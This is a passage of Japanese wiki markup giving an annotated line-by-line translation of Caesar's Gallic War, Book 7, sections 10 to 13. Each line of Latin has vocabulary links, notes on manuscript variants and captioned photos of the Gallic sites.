**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　[[ガリア戦記/注解編/写本と校訂版#写本の系図|&amp;alpha;系写本]]のうち、&amp;chi;系･M･B･S写本などでは [[wikt:en:videret|videret]] [[wikt:en:positus#Latin|positum]] esse 、&lt;br&gt;　　　　　&amp;alpha;系写本のうち、写本M･L･Nなどでは [[wikt:en:videretur|videretur]] positum esse 、&lt;br&gt;　　　　　&amp;beta;系写本では、positum videret となっている。）&lt;/span&gt;
*si [[wikt:en:mature#Adverb|maturius]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:educeret|educeret]], 
**もし、尚早に冬営地から&lt;small&gt;（諸軍団を）&lt;/small&gt;進発させれば、
*ne ab re [[wikt:en:frumentarius#Latin|frumentaria]] [[wikt:en:durus#Latin|duris]] [[wikt:en:subvectio#Latin|subvectionibus]] [[wikt:en:laboraret|laboraret]]. 
**&lt;small&gt;（降雪時期の）&lt;/small&gt;糧秣供給の厄介な輸送によって苦労するのではないか？
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Praestare&lt;/u&gt; [[wikt:en:visus#Participle|visum]] est tamen omnes [[wikt:en:difficultas#Latin|difficultates]] [[wikt:en:perpeti#Verb|perpeti]], 
**しかしながら、あらゆる困難に耐えることの方が&lt;u&gt;優っている&lt;/u&gt;ように見える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～が優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:tantus#Latin|tanta]] [[wikt:en:contumelia#Latin|contumelia]] [[wikt:en:acceptus#Latin|accepta]] omnium suorum [[wikt:en:voluntas#Latin|voluntates]] [[wikt:en:alienare#Latin|alienare]]. 
**これほどの恥辱を受けて、配下の皆の意欲を遠ざけてしまう&lt;u&gt;よりは&lt;/u&gt;。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque [[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]] de [[wikt:en:supportandus#Latin|supportando]] [[wikt:en:commeatus#Noun|commeatu]], 
**こうして、&lt;small&gt;（カエサルは）&lt;/small&gt;ハエドゥイー族に軍需物資の輸送について、激励して、
*[[wikt:en:praemittit|praemittit]] ad [[wikt:en:Boii#Latin|Boios]], qui de suo [[wikt:en:adventus#Latin|adventu]] [[wikt:en:doceant|doceant]] 
**[[w:ボイイ族|ボイイー族]]のもとへ、&lt;small&gt;（カエサル）&lt;/small&gt;自らの到着について知らせるための者たちを先遣して、
*[[wikt:en:hortentur|hortentur]]&lt;nowiki&gt;que&lt;/nowiki&gt; ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]] atque hostium [[wikt:en:impetus#Latin|impetum]] magno animo [[wikt:en:sustineant|sustineant]]. 
**&lt;small&gt;（カエサルへの）&lt;/small&gt;信義に留まって、敵たちの襲撃に大いなる決意をもって持ちこたえるように、と激励させた。
[[画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。]]
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Duabus [[wikt:en:Agedincum#Latin|Agedinci]] legionibus atque [[wikt:en:impedimentum#Latin|impedimentis]] [[wikt:en:totus#Latin|totius]] [[wikt:en:exercitus#Noun|exercitus]] [[wikt:en:relictus#Latin|relictis]], 
**アゲディンクムに、2個軍団および軍隊全体の輜重を残すと、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：アゲディンクムは敵対するセノネース族の首邑だが、&lt;br&gt;　　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で6個軍団を冬営させていた。&lt;br&gt;　　　　　現在の[[w:サンス|サーンス]]。）&lt;/span&gt;
*ad [[wikt:en:Boii#Latin|Boios]] [[wikt:en:proficiscitur|proficiscitur]].
**[[w:ボイイ族|ボイイー族]]のもとへ出発した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===11節===
[[画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|thumb|right|250px|ウェッラウノドゥーヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネース族の城塞都市ウェッラウノドゥーヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サーンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/11節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;セノネース族のウェッラウノドゥーヌムを降し、カルヌーテース族のケナブムを攻略
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:alter#Latin|Altero]] die 
**&lt;small&gt;（カエサルは出発して）&lt;/small&gt;翌日に、
*cum ad [[wikt:en:oppidum#Latin|oppidum]] [[wikt:en:Senones#Latin|Senonum]] [[wikt:en:Vellaunodunum#Latin|Vellaunodunum]] [[wikt:en:venisset|venisset]], 
**セノネース族の城塞都市ウェッラウノドゥーヌムへやって来たときに、
*ne [[wikt:en:aliquem|quem]] post se hostem [[wikt:en:relinqueret|relinqueret]], 
**自らの後方に何らかの敵を残しておかないように、
*[[wikt:en:quo#Latin|quo]] [[wikt:en:expeditior#Latin|expeditiore]] re [[wikt:en:frumentarius#Adjective|frumentaria]] [[wikt:en:uteretur|uteretur]], 
**そのことにより、妨げなく糧秣供給を享受するように、
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]] 
**&lt;small&gt;（同市の）&lt;/small&gt;攻囲を決めて、
*&lt;u&gt;idque&lt;/u&gt; [[wikt:en:biduum#Latin|biduo]] [[wikt:en:circumvallavit|circumvallavit]]; 
**それ&lt;small&gt;〔城塞都市〕&lt;/small&gt;を2日間で&lt;small&gt;（塁壁で）&lt;/small&gt;囲んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eo#Etymology_4|eo]]&lt;nowiki&gt;que&lt;/nowiki&gt; となっている。）&lt;/span&gt;
:　
;　　　セノネース族の城塞都市ウェッラウノドゥーヌムが降伏する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:tertius#Latin|tertio]] die 
**3日目に、
*[[wikt:en:missus#Participle|missis]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:legatus#Noun|legatis]] de [[wikt:en:deditio#Latin|deditione]], 
**城塞都市から降伏についての使節たちが遣わされて来て、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:conferri|conferri]], 
**武器が運び集められること、
*[[wikt:en:iumentum#Latin|iumenta]] [[wikt:en:produci#Latin|produci]], 
**役畜が引き渡されること、
*[[wikt:en:sescenti#Latin|sescentos]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**600名の人質が供出されることを&lt;small&gt;（カエサルが）&lt;/small&gt;命じる。
:　
;　　　ウェッラウノドゥーヌムに副官トレボーニスと守備隊を残し、カエサル自身はケナブムへ向かう
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Ea qui [[wikt:en:conficeret|conficeret]], 
**それらのことを成就するための者として、
*[[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Trebonius#Latin|Trebonium]] [[wikt:en:legatus#Latin|legatum]] [[wikt:en:relinquit|relinquit]]. 
**&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; [[w:ガイウス・トレボニウス|ガーイウス・トレボーニウス]]を&lt;small&gt;（ウェッラウノドゥーヌムに）&lt;/small&gt;残留させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:la:Gaius Trebonius|Gaius Trebonius]] は、カエサルの副官の一人。）&lt;/span&gt;
*Ipse, ut quam primum iter &lt;u&gt;faceret&lt;/u&gt;&lt;ref&gt;faceret はα系写本の表記で、β系写本では conficeret となっている。&lt;/ref&gt;, 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身は、できるだけ素早く&lt;small&gt;（ゴルゴビナへの）&lt;/small&gt;行軍を成就するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quam#Adverb|quam]] [[wikt:en:primum#Latin|primum]] 〜「できるだけ素早く〜」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:faceret|faceret]]  だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:conficeret|conficeret]] となっている。）&lt;/span&gt;
*[[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:Carnutes#Latin|Carnutum]] [[wikt:en:proficiscitur|proficiscitur]]; 
**カルヌーテース族のケナブムに出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブム Cenabum はケルト語風の読みで、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; qui tum primum [[wikt:en:adlatus#Latin|adlato]] [[wikt:en:nuntium#Latin|nuntio]] de [[wikt:en:oppugnatio#Latin|oppugnatione]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], 
**そのとき彼ら&lt;small&gt;〔カルヌーテース族〕&lt;/small&gt;は、当初はウェッラウノドゥーヌムの攻囲についての報告をもたらされて、
*cum [[wikt:en:longe#Latin|longius]] eam rem &lt;u&gt;ductum&lt;/u&gt; [[wikt:en:iri#Latin|iri]] [[wikt:en:existimarent|existimarent]], 
**その事･軍事作戦はより長く引き延ばされて行われると考えていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ductus#Noun_2|ductus]] は、軍事的な指揮・作戦などを表す。[[#62節]]も同様。）&lt;/span&gt;
*[[wikt:en:praesidium#Latin|praesidium]] [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:tuendus#Latin|tuendi]] causa, quod eo [[wikt:en:mitterent|mitterent]], [[wikt:en:comparabant|comparabant]]. 
**ケナブムを固守するために、守備隊をそこへ派遣することを準備していた。
:　
;　　　カエサルが、カルヌーテース族の城塞都市ケナブムの攻囲を翌日に延期する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:huc#Latin|Huc]] [[wikt:en:biduum#Latin|biduo]] [[wikt:en:pervenit#Etymology_1|pervenit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;ここ&lt;small&gt;〔ケナブム〕&lt;/small&gt;へ2日間で到着する。
*[[wikt:en:castra#Latin|Castris]] ante oppidum [[wikt:en:positus#Participle|positis]], 
**城塞都市の前に陣営を設置したが、
*[[wikt:en:dies#Latin|diei]] [[wikt:en:tempus#Latin|tempore]] [[wikt:en:exclusus#Latin|exclusus]] 
**日の時刻&lt;small&gt;〔夕刻〕&lt;/small&gt;によって妨げられたので、
*in posterum [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:differt|differt]], 
**翌日に攻囲を延期する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in posterum ＝ in [[wikt:en:posterus#Latin|posterum]] [[wikt:en:diem#Latin|diem]]「翌日に」）&lt;/span&gt;
*[[wikt:en:quisque#Latin|quaeque]] ad eam rem [[wikt:en:usus#Latin|usui]] [[wikt:en:sint#Latin|sint]], 
**その事&lt;small&gt;〔攻囲〕&lt;/small&gt;に有益になることは何であれ、
*[[wikt:en:miles#Latin|militibus]] [[wikt:en:imperat|imperat]]; 
**兵士たちに命令する。

[[画像:Orleans.jpg|thumb|right|400px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; et, quod oppidum [[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:pons#Latin|pons]] [[wikt:en:flumen#Latin|fluminis]] [[wikt:en:Liger#Latin|Ligeris]] [[wikt:en:contingebat|contingebat]], 
**城塞都市ケナブムには、リゲル川の橋が接していたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川は、現在の[[w:ロワール川|ロワール川]]。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]] ne [[wikt:en:noctu#Adverb|noctu]] ex oppido [[wikt:en:profugerent|profugerent]], 
**夜間に城塞都市から&lt;small&gt;（敵勢が）&lt;/small&gt;逃亡するのではないかと恐れて、
*[[wikt:en:duo#Latin|duas]] legiones in [[wikt:en:arma#Latin|armis]] [[wikt:en:excubare|excubare]] [[wikt:en:iubet#Latin|iubet]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;2個[[w:ローマ軍団|軍団]]に武装して寝ずの番をすることを命じる。
:　
;　　　ケナブムの住民たちが退避し始める
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Genabensis#Noun|Cenabenses]] paulo ante mediam noctem 
**ケナブムの人々は、真夜中の少し前に
*[[wikt:en:silentium#Latin|silentio]] ex oppido [[wikt:en:egressus#Participle|egressi]] 
**沈黙のうちに城塞都市から出て、
*flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:coeperunt|coeperunt]]. 
**川を渡り始めた。
:　
;　　　カエサルの諸軍団がケナブムを制圧する
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Qua re per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事が偵察者たちによって報告されると、
*Caesar legiones, quas [[wikt:en:expeditus#Latin|expeditas]] esse [[wikt:en:iusserat|iusserat]] 
**カエサルは、戦備を整えることを命じていた諸軍団を、
*[[wikt:en:porta#Latin|portis]] [[wikt:en:incensus#Participle|incensis]] 
**&lt;small&gt;（ケナブムの）&lt;/small&gt;城門を焼き打ちさせた後で、
*[[wikt:en:intromittit|intromittit]] atque oppido [[wikt:en:potitur|potitur]], 
**&lt;small&gt;（軍団を）&lt;/small&gt;送り込み、城塞都市を占領させて、
*[[wikt:en:perpaucus#Latin|perpaucis]] ex hostium numero [[wikt:en:desideratus#Latin|desideratis]] [[wikt:en:quin#Latin|quin]] [[wikt:en:cunctus#Latin|cuncti]] [[wikt:en:caperentur#Etymology_1|caperentur]], 
**敵のうちからわずかな数を取り逃がしたが、むしろ皆がことごとく捕らえられた。
*quod [[wikt:en:pons#Latin|pontis]] atque [[wikt:en:iter#Latin|itinerum]] [[wikt:en:angustia#Latin|angustiae]] &lt;u&gt;multitudinis&lt;/u&gt; fugam [[wikt:en:intercluserant|intercluserant]]. 
**──というのは、橋や道の狭さが、大勢の逃亡をさえぎったからである。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:multitudinis|multitudinis]]&lt;sub&gt;&amp;nbsp;(単数･属格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:multitudini|multitudini]]&lt;sub&gt;&amp;nbsp;(単数･与格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサル勢がケナブムを略奪・焼き討ち。リゲル川を渡ってビトゥリゲース族領へ達する
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Oppidum [[wikt:en:diripit|diripit]] atque [[wikt:en:incendit|incendit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;城塞都市を略奪し、焼き討ちして、
*[[wikt:en:praeda#Latin|praedam]] militibus [[wikt:en:donat#Latin|donat]], 
**略奪品を兵士たちに与える。
*[[wikt:en:exercitus#Noun|exercitum]] &lt;u&gt;Ligerem&lt;/u&gt; [[wikt:en:traducit|traducit]] 
***軍隊にリゲル川を渡らせて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:Ligerem|Ligerem]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では Ligerim となっている。）&lt;/span&gt;
*atque in [[wikt:en:Bituriges#Latin|Biturigum]] fines [[wikt:en:pervenit#Etymology_1|pervenit]].
*ビトゥリゲース族の領土に到達する。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===12節===
[[画像:Sancerre.jpg|thumb|right|250px|ビトゥリゲース族の城塞都市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥーヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。]]
[[画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|thumb|right|250px|城塞都市ノウィオドゥーヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイー族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥーヌムであると推定されている。上空からは、ガッリア時代の城塞都市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/12節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;ビトゥリゲース族のノウィオドゥーヌムを降すが、敵の騎兵が来援
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], ubi de Caesaris [[wikt:en:adventus#Latin|adventu]] [[wikt:en:cognovit#Latin|cognovit]],  
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルの到来について知るや否や、
*[[wikt:en:oppugnatio#Latin|oppugnatione]] &lt;u&gt;destitit&lt;/u&gt; 
**&lt;small&gt;（ボイイー族の城塞都市ゴルゴビナの）&lt;/small&gt;攻略を取り止めて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では [[wikt:en:destitit|destitit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　&amp;beta;系写本や印刷本では [[wikt:en:desistit#Latin|desistit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*atque [[wikt:en:obviam#Adverb|obviam]] Caesari [[wikt:en:proficiscitur|proficiscitur]]. 
**カエサルの方に向かって進発する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ille oppidum [[wikt:en:Biturigēs|Biturigum]] [[wikt:en:positus#Latin|positum]] in via [[wikt:en:Noviodunum#Latin|Noviodunum]] [[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituerat|instituerat]]. 
**彼&lt;small&gt;〔カエサル〕&lt;/small&gt;は、途中に位置しているビトゥリゲース族の[[w:オッピドゥム|城塞都市]]ノウィオドゥーヌムの攻略を決めていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：どこへの途中なのか明記されていないため、その解釈により場所についての解釈が変わるようである。）&lt;/span&gt;
:　
;　　　カエサルの城塞都市ノウィオドゥーヌムへの降伏条件
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] ex oppido 
**その城塞都市から
*cum legati ad eum [[wikt:en:venissent|venissent]] [[wikt:en:oratum#Verb|oratum]] ut sibi [[wikt:en:ignosceret|ignosceret]] suaeque vitae [[wikt:en:consuleret|consuleret]], 
**使節たちが彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ、自分たちを容赦して生命を助けるように嘆願するために、やって来たときに、
*ut celeritate reliquas res [[wikt:en:conficeret|conficeret]], [[wikt:en:qui#Determiner|qua]] [[wikt:en:pleraque#Latin|pleraque]] erat [[wikt:en:consecutus#Latin|consecutus]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;多くのことを実行してきた迅速さによって、ほかの事を成し遂げるために、
*arma [[wikt:en:conferri|conferri]], 
**武具が運び集められること、
*[[wikt:en:quus#Latin|equos]] [[wikt:en:produci#Verb_2|produci]], 
**馬匹が引き渡されること、
*obsides [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**人質が供出されること、を命じる。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Parte iam obsidum [[wikt:en:traditus#Participle|tradita]], 
**すでに人質の一部が移送されて、
*cum [[wikt:en:reliqua#Latin|reliqua]] [[wikt:en:administrarentur|administrarentur]], 
**残り&lt;small&gt;（の人質たち）&lt;/small&gt;が処置されていたときに、
*[[wikt:en:centurio#Latin|centurionibus]] et paucis [[wikt:en:miles#Latin|militibus]] [[wikt:en:intromissus#Latin|intromissis]], qui arma [[wikt:en:iumentum#Latin|iumenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:conquirerent|conquirerent]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや若干の兵士たちが、武器や[[w:使役動物|役畜]]を探し集めるべく&lt;small&gt;（城塞都市の中に）&lt;/small&gt;送り込まれていたのだが、
*[[wikt:en:equitatus#Noun|equitatus]] hostium procul [[wikt:en:visus#Latin|visus]] est, qui [[wikt:en:agmen#Latin|agmen]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:antecesserat|antecesserat]]. 
**ウェルキンゲトリークスの隊列に先行していた敵の[[w:騎兵|騎兵隊]]が遠くに望見された。
:　
;　　　ウェルキンゲトリークスの来援に気づいた城塞の者たちが、籠城に転じる
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quem [[wikt:en:simulatque|simulatque]] [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:conspexerunt|conspexerunt]] atque in [[wikt:en:spes#Latin|spem]] [[wikt:en:auxilium#Latin|auxilii]] [[wikt:en:venerunt|venerunt]], 
**それ&lt;small&gt;&lt;/small&gt;を城塞都市の者たちが視認して、救援の希望を抱くや否や、
*[[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Etymology_1|sublato]] 
**雄叫びを上げて、
*arma capere, 
**武具を取ること、
*portas [[wikt:en:claudere#Etymology_1|claudere]], 
**城門を閉じること、
*[[wikt:en:murus#Latin|murum]] [[wikt:en:complere|complere]] [[wikt:en:coeperunt|coeperunt]]. 
**城壁を&lt;small&gt;（兵で）&lt;/small&gt;満たすこと、を始めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sublato は　[[wikt:en:tollo|tollo]] の分詞）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　城塞民たちの心変わりに感づいたローマ人の将兵たちが城外に撤収する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:centurio#Latin|Centuriones]] in oppido, 
**城塞都市の中の&lt;small&gt;（カエサルの配下の）&lt;/small&gt;百人隊長たちは、
*cum ex [[wikt:en:significatio#Latin|significatione]] Gallorum [[wikt:en:novus#Latin|novi]] [[wikt:en:aliquis#Latin|aliquid]] ab iis [[wikt:en:iniri#Latin|iniri]] consilii [[wikt:en:intellexissent|intellexissent]], 
**ガッリア人たちの兆候から、彼らによる何らかの新たな謀りごとが始められていると察知していたので、
*[[wikt:en:gladius#Latin|gladiis]] [[wikt:en:destrictus#Latin|destrictis]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を抜いて、
*portas [[wikt:en:occupaverunt|occupaverunt]] 
**城門を占拠して、
*suosque omnes [[wikt:en:incolumis#Latin|incolumes]] [[wikt:en:receperunt|receperunt]].
**配下たち皆を無傷なままで退却させた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===13節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/13節]]　{{進捗|00%|2026-02-15}}&lt;/span&gt;
[[画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|thumb|right|250px|ノウィオドゥーヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムを続けて降し、ボイイー族のゴルゴビナ攻略を諦めたウェルキンゲトリークスもノウィオドゥーヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。]]

;同盟軍の騎兵を撃退、城塞都市を再び降して、アウァーリクム攻めに向かう
:　
;　　　カエサルが、騎兵戦の切り札としてゲルマーニア騎兵を繰り出す
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex castris [[wikt:en:equitatus#Latin|equitatum]] [[wikt:en:educi#Latin|educi]] [[wikt:en:iubet#Latin|iubet]], 
**カエサルは、陣営から[[w:騎兵|騎兵隊]]を進発させることを命じて、
*&lt;u&gt;[[wikt:en:proelium#Latin|proelium]]&lt;/u&gt; [[wikt:en:equester#Latin|equestre]] [[wikt:en:committit|committit]]; 
**&lt;small&gt;（ウェルキンゲトリークス勢と）&lt;/small&gt;騎兵戦を交える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では proelium だが、&lt;br&gt;　　　　　&amp;beta;系写本では proelium&lt;u&gt;que&lt;/u&gt; となっている。）&lt;/span&gt;
*[[wikt:en:laborans#Latin|laborantibus]] iam suis 
**配下の者たちがすでに苦戦していたときに、
*[[wikt:en:Germanus#Adjective|Germanos]] [[wikt:en:eques#Latin|equites]] circiter CCCC([[wikt:en:quadringentos|quadringentos]]) [[wikt:en:submittit|submittit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ゲルマニア|ゲルマーニア]]人の騎兵たち約400騎を救援に派遣する。
*quos ab [[wikt:en:initium#Latin|initio]] &lt;u&gt;habere [[wikt:en:secum#Latin|secum]]&lt;/u&gt; [[wikt:en:instituerat|instituerat]]. 
**その者らは&lt;small&gt;（戦いの）&lt;/small&gt;当初から自分のそばに保持すると決めていたものであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;chi;系･B･M･S写本では habere secum だが、&lt;br&gt;　　　　　&amp;beta;系･L･N写本では secum habere となっている。）&lt;/span&gt;
:　
;　　　ゲルマーニア騎兵が、ウェルキンゲトリークス配下の騎兵を一蹴する
